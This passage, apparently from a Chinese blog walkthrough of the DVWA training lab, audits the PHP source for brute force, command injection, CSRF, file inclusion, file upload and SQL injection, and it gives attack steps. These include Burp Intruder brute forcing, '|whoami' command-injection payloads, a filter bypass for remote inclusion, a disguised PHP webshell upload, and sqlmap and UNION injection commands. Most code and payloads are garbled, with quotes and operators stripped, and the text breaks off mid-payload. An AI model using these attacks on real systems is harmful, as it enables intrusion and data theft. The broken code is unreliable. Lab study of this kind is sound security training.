当前位置: 首页 > news >正文

建设工程公司 网站导视设计原则

建设工程公司 网站,导视设计原则,网站跳转域名不变,公司注册网站查询Brute Force Low 先进行一下代码审计 ?php // 检查是否通过GET请求传递了Login参数#xff08;注意#xff1a;这里应该是username或类似的#xff0c;但代码逻辑有误#xff09; if( isset( $_GET[ Login ] ) ) { // 从GET请求中获取用户名 $user $_GET[ us… Brute Force Low 先进行一下代码审计 ?php // 检查是否通过GET请求传递了Login参数注意这里应该是username或类似的但代码逻辑有误 if( isset( $_GET[ Login ] ) ) { // 从GET请求中获取用户名 $user $_GET[ username ]; // 注意这里应该是$_GET[username]但键名写错了 // 从GET请求中获取密码并使用MD5算法进行哈希 $pass $_GET[ password ]; $pass md5( $pass ); // MD5已不被认为是安全的哈希算法不应在新开发的应用中使用 // 准备SQL查询语句用于从数据库中查找用户 $query SELECT * FROM users WHERE user $user AND password $pass;; // 执行SQL查询使用全局变量$GLOBALS[___mysqli_ston]作为数据库连接 // 如果查询失败则输出错误信息 $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); // 检查查询结果是否存在且仅有一行即一个匹配的用户 if( $result mysqli_num_rows( $result ) 1 ) { // 从结果集中获取用户详细信息 $row mysqli_fetch_assoc( $result ); $avatar $row[avatar]; // 获取用户的头像URL // 登录成功输出欢迎信息和用户头像 echo pWelcome to the password protected area {$user}/p; echo img src\{$avatar}\ /; } else { // 登录失败输出错误信息 echo prebr /Username and/or password incorrect./pre; } // 关闭数据库连接尽管这里使用了三元运算符但实际上并没有对结果进行任何处理 ((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); } ? 先在这里说一下这段php代码没有对输入进行任何的过滤我们可以采用sql注入去爆破数据库登录或者使用万能密码 比如 admin or 1 1 (原理是or只要前后成立一个即可),这题需要用单引号进行闭合注入 打开BP进行抓包输入用户名和密码随意 抓包分析右键发送到intruder中 下面介绍一下BP的爆破方式 Sniper 单参数爆破多参数时使用同一个字典按顺序替换各参数只有一个数据会被替换 在password的变蓝的地方添加playload 在这里配置字典可以看到payload是password的时候长度有变化所以password就是密码 Battering ram 多参数同时爆破但用的是同一个字典每个参数数据都是一致的 我们可以看到没有一样的说明没成功 Pichfork 多参数同时爆破但用的是不同的字典不同字典间数据逐行匹配 可以看到当username admin 并且password password 是长度和其他的都不同所以即使账户和密码 Cluster bamb 多参数做笛卡尔乘积模式爆破 可以明显的看到长度不一样 Medium Medium步骤和low等级完全一样主要是源码多了一点东西导致难度会提高一点但无伤大雅low等级能跑出来的Medium也能跑出来接下来就让我们进行一下代码审计吧 ?php // 检查是否通过GET请求提交了Login参数 if( isset( $_GET[ Login ] ) ) { // 从GET请求中获取用户名但这里应该使用POST而不是GET来传输敏感信息 $user $_GET[ username ]; // 尝试对用户名进行转义但依赖于全局变量___mysqli_ston这不是一个好的做法 // 更好的做法是将数据库连接作为参数传递给函数或方法 $user ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $user ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // 从GET请求中获取密码同样应该使用POST $pass $_GET[ password ]; // 对密码进行转义然后MD5加密。MD5不再被认为是安全的密码存储方式 $pass ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $pass md5( $pass ); // 构造SQL查询语句但直接将变量插入SQL语句中是不安全的SQL注入风险 $query SELECT * FROM users WHERE user $user AND password $pass;; // 执行SQL查询如果失败则显示错误信息 $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); // 检查查询结果是否存在且只有一行 if( $result mysqli_num_rows( $result ) 1 ) { // 获取用户信息 $row mysqli_fetch_assoc( $result ); $avatar $row[avatar]; // 登录成功但输出用户信息到HTML中可能导致XSS攻击 echo pWelcome to the password protected area {$user}/p; echo img src\{$avatar}\ /; } else { // 登录失败延迟2秒响应 sleep( 2 ); // 输出错误信息 echo prebr /Username and/or password incorrect./pre; } // 关闭数据库连接但这里的错误处理是多余的 ((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); } ? High high等级相较于Medium的变化是sleep(rand(0,3))函数随机休眠0到3秒重点是增加了token值这增加了难度接下来看看我们怎么在有token验证的情况下获得正确的用户名和密码 ?php if( isset( $_GET[ Login ] ) ) { // 检查是否存在CSRF令牌并与会话令牌匹配以防止跨站请求伪造 // 假设checkToken函数已经定义并接受请求令牌、会话令牌和失败时重定向的页面 checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); // 清理用户名输入中的反斜杠 $user $_GET[ username ]; $user stripslashes( $user ); // 使用mysqli_real_escape_string防止SQL注入如果数据库连接存在 $user ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $user ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // 清理密码输入中的反斜杠 $pass $_GET[ password ]; $pass stripslashes( $pass ); // 使用mysqli_real_escape_string防止SQL注入然后加密密码 $pass ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $pass md5( $pass ); // 使用MD5加密密码尽管这不是最佳实践应使用更安全的哈希算法 // 构造SQL查询语句 $query SELECT * FROM users WHERE user $user AND password $pass;; // 执行查询如果失败则显示错误信息 $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); if( $result mysqli_num_rows( $result ) 1 ) { // 从结果中获取一行用户数据 $row mysqli_fetch_assoc( $result ); $avatar $row[avatar]; // 获取用户头像URL // 登录成功 echo pWelcome to the password protected area {$user}/p; echo img src\{$avatar}\ /; // 显示用户头像 } else { // 登录失败随机延迟0到3秒以减缓暴力破解攻击 sleep( rand( 0, 3 ) ); echo prebr /Username and/or password incorrect./pre; } // 关闭数据库连接尽管这里的结果赋值操作可能不是最佳实践 ((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); } // 生成新的CSRF令牌并存储在会话中以便下次请求时验证 generateSessionToken(); ? 进入payload模块第一个选择字典自己添加第二个选择递归查询 找到Grep-Extract 这个设置能够被用来通过请求返回的信息来获取有用的信息供你使用也就是说可以通过它来获得每次请求后返回的Token关联到Payload中进行暴力破解 在Payload Options中就可以看到自动加载过来的值将请求包里user_token的值填入到Initial payload for first request第一个请求的初始负载中也可不填点击Start attack开启爆破 如下成功了 Impossible ?php // 检查是否提交了登录表单 if( isset( $_POST[ Login ] ) isset ($_POST[username]) isset ($_POST[password]) ) { // 检查Anti-CSRF令牌 checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); // 清理用户名输入尽管在PDO中不需要但可能是从旧代码迁移而来 $user $_POST[ username ]; $user stripslashes( $user ); // 移除反斜杠在魔术引号开启时有用但现代PHP中已废弃 // 尝试使用全局mysqli连接进行转义否则报错 $user ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $user ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // 清理密码输入同上 $pass $_POST[ password ]; $pass stripslashes( $pass ); $pass ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $pass md5( $pass ); // 使用MD5哈希密码不推荐因为MD5不安全 // 设置默认值和变量 $total_failed_login 3; $lockout_time 15; $account_locked false; // 检查数据库中的用户信息 $data $db-prepare( SELECT failed_login, last_login FROM users WHERE user (:user) LIMIT 1; ); $data-bindParam( :user, $user, PDO::PARAM_STR ); $data-execute(); $row $data-fetch(); // 检查用户是否被锁定 if( ( $data-rowCount() 1 ) ( $row[ failed_login ] $total_failed_login ) ) { // 计算用户何时可以重新登录 $last_login strtotime( $row[ last_login ] ); $timeout $last_login ($lockout_time * 60); $timenow time(); // 如果时间未到则账户被锁定 if( $timenow $timeout ) { $account_locked true; } } // 检查用户名和密码是否匹配 $data $db-prepare( SELECT * FROM users WHERE user (:user) AND password (:password) LIMIT 1; ); $data-bindParam( :user, $user, PDO::PARAM_STR); $data-bindParam( :password, $pass, PDO::PARAM_STR ); $data-execute(); $row $data-fetch(); // 如果登录有效且账户未锁定 if( ( $data-rowCount() 1 ) ( $account_locked false ) ) { // 获取用户详细信息 $avatar $row[ avatar ]; // ...其他用户信息 // 登录成功 echo pWelcome to the password protected area em{$user}/em/p; // ...其他成功消息 // 重置登录失败次数 $data $db-prepare( UPDATE users SET failed_login 0 WHERE user (:user) LIMIT 1; ); $data-bindParam( :user, $user, PDO::PARAM_STR ); $data-execute(); } else { // 登录失败 sleep( rand( 2, 4 ) ); // 延迟响应可能是为了简单的DoS保护 // 给出反馈 echo prebr /Username and/or password incorrect.br /br/.../pre; // 更新登录失败次数 $data $db-prepare( UPDATE users SET failed_login (failed_login 1) WHERE user (:user) LIMIT 1; ); $data-bindParam( :user, $user, PDO::PARAM_STR ); $data-execute(); } // 更新最后登录时间 $data $db-prepare( UPDATE users SET last_login now() WHERE user (:user) LIMIT 1; ); $data-bindParam( :user, $user, PDO::PARAM_STR ); $data-execute(); } // 生成Anti-CSRF令牌 generateSessionToken(); ? 关于暴力破解的防护 账户锁定当登录失败次数超过一定阈值时本例中为3次账户将被锁定一段时间本例中为15分钟。这减少了暴力破解尝试的成功机会因为攻击者需要等待账户解锁才能继续尝试。 延迟响应在登录失败时服务器会随机延迟响应2到4秒。这增加了攻击者进行大量尝试所需的时间从而降低了暴力破解的效率。 Anti-CSRF令牌通过检查CSRF令牌可以防止跨站请求伪造攻击这虽然不是直接针对暴力破解的防护但增强了系统的整体安全性。 然而需要注意的是MD5哈希密码是不安全的因为它容易受到彩虹表攻击。建议使用更安全的哈希算法如bcrypt。此外代码中的stripslashes和mysqli_real_escape_string在PDO环境下是多余的因为PDO已经通过预处理语句和参数绑定来防止SQL注入。 Command Injection Low 先来进行一下代码审计 ?phpif( isset( $_POST[ Submit ] ) ) {// Get input$target $_REQUEST[ ip ]; //提交参数portget和cookie都可以获取IP地址// Determine OS and execute the ping command.if( stristr( php_uname( s ), Windows NT ) ) {//判断是否为window系统不是则为unix或者linux// Windows$cmd shell_exec( ping . $target );//执行ping命令}else {// *nix$cmd shell_exec( ping -c 4 . $target );}// Feedback for the end userecho pre{$cmd}/pre; }?可以看到这段代码先是获取了用户输入的IP地址在获取了才做系统我们可以尝试用||等连接符号连起来 可以看到这里不仅执行ping 127.0.0.1的命令还执行了whoami这条命令它显示了当此命令被调用时当前用户的用户名也可以执行其他的命令比如nestat -an 可以看到端口监听的状况、还有ipconfignet user等等 Mediu ?phpif( isset( $_POST[ Submit ] ) ) {// Get input$target $_REQUEST[ ip ];// Set blacklist$substitutions array( ,; ,);//这里把 和 ;给过滤了// Remove any of the charactars in the array (blacklist).$target str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( s ), Windows NT ) ) {// Windows$cmd shell_exec( ping . $target );}else {// *nix$cmd shell_exec( ping -c 4 . $target );}// Feedback for the end userecho pre{$cmd}/pre; }? 我们可以用|| 或者 等等 High ?phpif( isset( $_POST[ Submit ] ) ) {// Get input$target trim($_REQUEST[ ip ]);// Set blacklist$substitutions array( ,; ,| ,- ,$ ,( ,) , ,|| ,);//这里几乎把所有的都过滤了// Remove any of the charactars in the array (blacklist).$target str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( s ), Windows NT ) ) {// Windows$cmd shell_exec( ping . $target );}else {// *nix$cmd shell_exec( ping -c 4 . $target );}// Feedback for the end userecho pre{$cmd}/pre; }? 但仔细看|符号后面有个空格所以我们构造 payload 127.0.0.1 |whoami 记住不要|和whoami之间不要有空格 Impossible ?php // 检查是否通过POST方法提交了表单特别是检查Submit按钮是否被点击 if( isset( $_POST[ Submit ] ) ) { // 验证CSRF令牌以防止跨站请求伪造 checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); // 从请求中获取IP地址 $target $_REQUEST[ ip ]; // 使用stripslashes函数去除字符串中的反斜杠尽管在处理IP地址时可能不是必需的 $target stripslashes( $target ); // 使用explode函数以点.为分隔符将IP地址分割成四个部分八位字节 $octet explode( ., $target ); // 检查每个部分八位字节是否都是整数并且数组的大小正好是4 if( ( is_numeric( $octet[0] ) ) ( is_numeric( $octet[1] ) ) ( is_numeric( $octet[2] ) ) ( is_numeric( $octet[3] ) ) ( sizeof( $octet ) 4 ) ) { // 如果所有四个部分都是整数则将它们重新组合成IP地址 $target $octet[0] . . . $octet[1] . . . $octet[2] . . . $octet[3]; // 根据操作系统类型执行ping命令 if( stristr( php_uname( s ), Windows NT ) ) { // 如果是Windows系统执行不带次数限制的ping命令 $cmd shell_exec( ping . $target ); } else { // 如果是*nix系统执行带次数限制4次的ping命令 $cmd shell_exec( ping -c 4 . $target ); } // 将ping命令的输出以预格式化的方式显示给用户 echo pre{$cmd}/pre; } else { // 如果IP地址无效显示错误信息 echo preERROR: You have entered an invalid IP./pre; } } // 生成新的CSRF令牌并存储在会话中注意这里假设generateSessionToken函数负责这项工作 generateSessionToken(); ? IP地址验证脚本通过分割和检查每个八位字节来验证输入的IP地址是否有效。然而这种方法虽然基本但并不完全安全因为它没有检查每个八位字节是否在0到255的范围内。 在这个脚本中没有直接对输出进行HTML转义这可能导致跨站脚本攻击XSS的风险尽管在这个特定的例子中由于输出的是命令执行的结果这种风险可能较低。然而在将用户输入直接嵌入到HTML输出中时始终应该进行转义。 Cross Site Request Forgery (CSRF) Low  网站的本意是在这里更改代码 http://dvwa/vulnerabilities/csrf/?password_new123456password_conf123456ChangeChange# 我们可以看到URL变了所以我们可以直接在URL中 接下来看下代码 ?php // 检查是否存在名为Change的GET请求参数 if( isset( $_GET[ Change ] ) ) { // 从GET请求中获取新密码和确认密码 $pass_new $_GET[ password_new ]; $pass_conf $_GET[ password_conf ]; // 检查新密码和确认密码是否匹配 if( $pass_new $pass_conf ) { // 密码匹配开始处理 // 如果全局变量___mysqli_ston存在且是对象则使用它来转义新密码避免SQL注入 // 否则触发错误显示信息Fix the mysql_escape_string() call! This code does not work. // 这里的错误处理非常糟糕因为它使用了触发错误作为逻辑判断的一部分 $pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // 使用MD5散列新密码这是一个不安全的密码散列方法现已不推荐使用 $pass_new md5( $pass_new ); // 准备SQL语句以更新数据库中当前用户的密码 // 注意这里使用了一个名为dvwaCurrentUser()的函数来获取当前用户但没有给出该函数的实现 $insert UPDATE users SET password $pass_new WHERE user . dvwaCurrentUser() . ;; // 执行SQL语句如果失败则显示错误信息 $result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); // 如果密码更新成功向用户显示反馈信息 echo prePassword Changed./pre; } else { // 如果新密码和确认密码不匹配向用户显示错误信息 echo prePasswords did not match./pre; } // 尝试关闭数据库连接但这里的逻辑有些混乱因为它检查了返回值但实际上没有使用它 ((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); } ? 使用GET请求处理敏感信息通过GET请求处理密码更新是一个严重的安全问题因为GET请求的数据会在URL中明文显示可能会被记录在服务器日志、浏览器历史等地方。 MD5散列密码MD5已不被认为是一个安全的密码散列算法因为它容易受到碰撞攻击。应使用更安全的算法如bcrypt。 SQL注入风险尽管代码尝试使用mysqli_real_escape_string来避免SQL注入但由于使用了dvwaCurrentUser()函数来构建SQL查询且未展示该函数的实现如果该函数不安全仍然存在SQL注入的风险。更好的做法是使用预处理语句prepared statements。 Medium 源码分析和Low等级比较发现只有一处改变即在传入密码和确认密码参数前先进行了一个if语句的判断判断里面的内容主要是验证这个访问请求是否是从dwva网站本身发起的若不是就不执行后面的操作 ?phpif( isset( $_GET[ Change ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ HTTP_REFERER ] ,$_SERVER[ SERVER_NAME ]) ! false ) {// Get input 判断是否为dvwa页面发起的$pass_new $_GET[ password_new ];$pass_conf $_GET[ password_conf ];// Do the passwords match?if( $pass_new $pass_conf ) {// They do!$pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$pass_new md5( $pass_new );// Update the database$insert UPDATE users SET password $pass_new WHERE user . dvwaCurrentUser() . ;;$result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );// Feedback for the userecho prePassword Changed./pre;}else {// Issue with passwords matchingecho prePasswords did not match./pre;}}else {// Didnt come from a trusted sourceecho preThat request didnt look correct./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); }? 源码是通过referrer这个字段的参数进行判断的通常情况下在增加referrer验证时就是网站本身当前页面的ip地址我们通过抓包看看信息 构造一个页面里面放一个a标签链接为更改密码的url当受害者点击时就会触发更改密码的操作我们只需要把这个html页面的位置放在和网站同一个目录下即在自己的电脑上构造一个访问目标网站域名的html文件 High 源码分析可以看出high等级的主要区别是增加了一个token值的校验每次登录都会校验token是否正确若想要执行更改密码操作必须知道正常用户的token获得用户token的方式有两种 构造一个页面让用户点击点击之后偷偷的读取用户登录网站的token把token加到自己构造的更改密码的表单上做让用户点击完成攻击但由于同源策略一半无法获得token也有解决方法但那个更繁琐这里不赘述了如果用户网站上刚好有存储型漏洞可以利用存储型漏洞与csrf漏洞配合即通过存储型漏洞获得token再利用csrf漏洞结合拿到的token完成攻 ?phpif( isset( $_GET[ Change ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php );// Get input$pass_new $_GET[ password_new ];$pass_conf $_GET[ password_conf ];// Do the passwords match?if( $pass_new $pass_conf ) {// They do!$pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : ));$pass_new md5( $pass_new );// Update the database$insert UPDATE users SET password $pass_new WHERE user . dvwaCurrentUser() . ;;$result mysqli_query($GLOBALS[___mysqli_ston], $insert ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );// Feedback for the userecho prePassword Changed./pre;}else {// Issue with passwords matchingecho prePasswords did not match./pre;}((is_null($___mysqli_res mysqli_close($GLOBALS[___mysqli_ston]))) ? false : $___mysqli_res); }// Generate Anti-CSRF token generateSessionToken();? 这里为了方便就假设我通过xss存储型漏洞获得了token而将token拼接到medium等级的表单中完成攻击获得的token20f07053354bf93a94e3bb45e2923312 Impossible ?php // 检查是否存在名为Change的GET请求参数以触发密码更改逻辑 if( isset( $_GET[ Change ] ) ) { // 检查Anti-CSRF令牌以防止CSRF攻击 // 注意这里假设checkToken, generateSessionToken, 和 dvwaCurrentUser函数已经定义 checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); // 从GET请求中获取当前密码、新密码和确认密码 $pass_curr $_GET[ password_current ]; $pass_new $_GET[ password_new ]; $pass_conf $_GET[ password_conf ]; // 去除当前密码输入中的反斜杠通常不是必要的因为GET数据通常不包含转义字符 $pass_curr stripslashes( $pass_curr ); // 如果存在全局的MySQLi连接且是对象则对当前密码进行转义防止SQL注入 // 否则触发错误。这里使用mysqli_real_escape_string可能是一个错误因为已经使用PDO $pass_curr ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_curr ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // 对当前密码进行MD5散列不推荐因为MD5不安全 $pass_curr md5( $pass_curr ); // 准备SQL查询以检查当前密码是否正确 // 注意这里使用了PDO准备语句但之前对$pass_curr的处理可能不是必要的因为PDO已经提供了参数绑定 $data $db-prepare( SELECT password FROM users WHERE user (:user) AND password (:password) LIMIT 1; ); $data-bindParam( :user, dvwaCurrentUser(), PDO::PARAM_STR ); // 绑定当前用户名 $data-bindParam( :password, $pass_curr, PDO::PARAM_STR ); // 绑定MD5散列后的当前密码 $data-execute(); // 执行查询 // 检查新密码是否匹配且当前密码是否与用户匹配 if( ( $pass_new $pass_conf ) ( $data-rowCount() 1 ) ) { // 如果条件满足对新密码进行相同的处理去除反斜杠、转义、MD5散列 // 但注意这里的转义处理可能是不必要的因为已经使用PDO $pass_new stripslashes( $pass_new ); $pass_new ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $pass_new ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $pass_new md5( $pass_new ); // 准备SQL语句以更新用户密码 $data $db-prepare( UPDATE users SET password (:password) WHERE user (:user); ); $data-bindParam( :password, $pass_new, PDO::PARAM_STR ); $data-bindParam( :user, dvwaCurrentUser(), PDO::PARAM_STR ); $data-execute(); // 执行更新 // 向用户显示密码更改成功的反馈 echo prePassword Changed./pre; } else { // 如果新密码不匹配或当前密码错误显示错误信息 echo prePasswords did not match or current password incorrect./pre; } } // 生成新的Anti-CSRF令牌并存入会话 generateSessionToken(); ? File Inclusion Low  访问页面显示allow_url_include 没有开启我们可以在配置里面开启 allow_url_include参数表示可以远程利用文件包含漏洞 修改为On并且重启服务 通过访问1.php2.php 3.php会返回不通的内容同时会将文件名传参给page参数 Mediu 通过访问1.php2.php 3.php会返回不通的内容同时会将文件名传参给page参数 对page传参为http://127.0.0.1/1.php 报错了 查看源码 ?php// The page we wish to display $file $_GET[ page ];// Input validation $file str_replace( array( http://, https:// ), , $file ); $file str_replace( array( ../, ..\ ), , $file );? 如果传参值中有http:// https:// …/ …\都将替换为空 如果传入的是htthttp://p://127.0.0.1/1.php High ?php// The page we wish to display $file $_GET[ page ];// Input validation if( !fnmatch( file*, $file ) $file ! include.php ) {// This isnt the page we want!echo ERROR: File not found!;exit; }?关键代码为 使用fnmatch()函数对page参数进行过滤要求page必须以“file”开头服务器才会包含相应的文件。 可利用file协议进行读文件 Impossible ?php // 开始PHP代码块 // 通过GET请求获取名为page的参数值并赋值给变量$file $file $_GET[ page ]; // 接下来是一个条件判断语句用于检查$file变量的值 if( $file ! include.php $file ! file1.php $file ! file2.php $file ! file3.php ) { // 如果$file的值不是include.php、file1.php、file2.php或file3.php中的任何一个 // 那么执行以下操作 // 向用户显示错误信息 echo ERROR: File not found!; // 使用exit函数终止脚本的执行防止后续代码的执行 exit; } // 如果$file的值是上述四个允许的文件名之一则条件判断语句内的代码不会执行 // 接下来的代码如果有的话将会执行但在这段给定的代码中没有包含后续操作 ? // 结束PHP代码块 File Upload Low  首先我们准备一个一句话木马文件 ?php phpinfo();? 1、访问页面有一个文件上传点 2、直接上传123.php 3、访问文件 Mediu 1、直接上传123.php文件 2、修改123.php文件名为456.jpg上传时通过burp抓取上传请求包将456.jpg修改为456.php 3、上传成功 访问文件 High 1、当我们使用第二关的方式时显示 2、查询后端源代码 strrpos(string , find ,start) 查找find字符在string字符中的最后一次出现的位置start参数可选表示指定从哪里开始 substr(string,start,length) 返回string字符中从start开始的字符串length参数可选表示返回字符的长度 strtolower(string) 返回给定字符串的小写对后缀名进行了判断 3、可通过文件包含漏洞结合使用首先制作图片马 4、使用文件包含漏洞模块中的low关 进行加载图片成功解析 Impossible if( isset( $_POST[ Upload ] ) ) { // 检查是否有上传表单提交 } // 检查Anti-CSRF令牌 checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); // 此函数检查提交的CSRF令牌是否与会话中的令牌匹配以防止跨站请求伪造 // 获取上传文件的各项信息 $uploaded_name $_FILES[ uploaded ][ name ]; // 文件名 $uploaded_ext substr( $uploaded_name, strrpos( $uploaded_name, . ) 1); // 文件扩展名 $uploaded_size $_FILES[ uploaded ][ size ]; // 文件大小 $uploaded_type $_FILES[ uploaded ][ type ]; // MIME类型 $uploaded_tmp $_FILES[ uploaded ][ tmp_name ]; // 临时文件名 // 目标路径 $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; // 注意DVWA_WEB_PAGE_TO_ROOT 是一个未在代码中定义的常量应该是环境或配置文件中的定义 // 生成目标文件名使用md5确保唯一性 $target_file md5( uniqid() . $uploaded_name ) . . . $uploaded_ext; // 临时文件的完整路径 $temp_file ( ( ini_get( upload_tmp_dir ) ) ? ( sys_get_temp_dir() ) : ( ini_get( upload_tmp_dir ) ) ); $temp_file . DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . . . $uploaded_ext; // 检查文件是否为图像文件 if( ... ) { // 检查文件扩展名、大小、MIME类型并使用getimagesize验证图像文件 } // 根据文件类型重新编码图像以剥离元数据 if( $uploaded_type image/jpeg ) { $img imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // 这里使用GD库重新创建图像文件以此移除可能存在的元数据 // 将文件从临时目录移动到目标目录 if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // 如果移动成功显示成功消息和链接 } else { // 如果移动失败显示错误消息 } // 删除临时文件 if( file_exists( $temp_file ) ) unlink( $temp_file ); // 无效文件类型时的错误消息 else { echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; } // 生成Anti-CSRF令牌虽然在这个代码片段中位置有些靠后但假设它在合适的位置被调用 generateSessionToken(); SQL Injection Low  ?phpif( isset( $_REQUEST[ Submit ] ) ) {// Get input$id $_REQUEST[ id ];// Check database$query SELECT first_name, last_name FROM users WHERE user_id $id;;$result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre );// Get resultswhile( $row mysqli_fetch_assoc( $result ) ) {// Get values$first $row[first_name];$last $row[last_name];// Feedback for end userecho preID: {$id}br /First name: {$first}br /Surname: {$last}/pre;}mysqli_close($GLOBALS[___mysqli_ston]); }? 找注入点python sqlmap.py -u http://dvwa/vulnerabilities/sqli/?id1SubmitSubmit# --cookie securitylow; PHPSESSID6r4n8jpd2m6mm5nesv83m924n4 爆库python sqlmap.py -u http://dvwa/vulnerabilities/sqli/?id1SubmitSubmit# --cookie securitylow; PHPSESSID6r4n8jpd2m6mm5nesv83m924n4 --dbs 爆表python sqlmap.py -u http://dvwa/vulnerabilities/sqli/?id1SubmitSubmit# --cookie securitylow; PHPSESSID6r4n8jpd2m6mm5nesv83m924n4 -D dvwa --tables 爆列python sqlmap.py -u http://dvwa/vulnerabilities/sqli/?id1SubmitSubmit# --cookie securitylow; PHPSESSID6r4n8jpd2m6mm5nesv83m924n4 -D fvwa -T users --columns 爆用户名和密码python sqlmap.py -u http://dvwa/vulnerabilities/sqli/?id1SubmitSubmit# --cookie securitylow; PHPSESSID6r4n8jpd2m6mm5nesv83m924n4 -D fvwa -T users --dump -Cuser,password --dump 上面的直接采用的sqlmap自动化注入 下面是手动 1、找闭合 输入1    报错输入1不报错说明闭合是单引号 2、确定列数 输入1 order by 2#返回正确结果输入1 order by 3#报错说明只有两列 3、爆库 输入1 union select 1,database()# 得到库名dvwa 4、爆表 输入1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()#或者1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa#或者1 union select 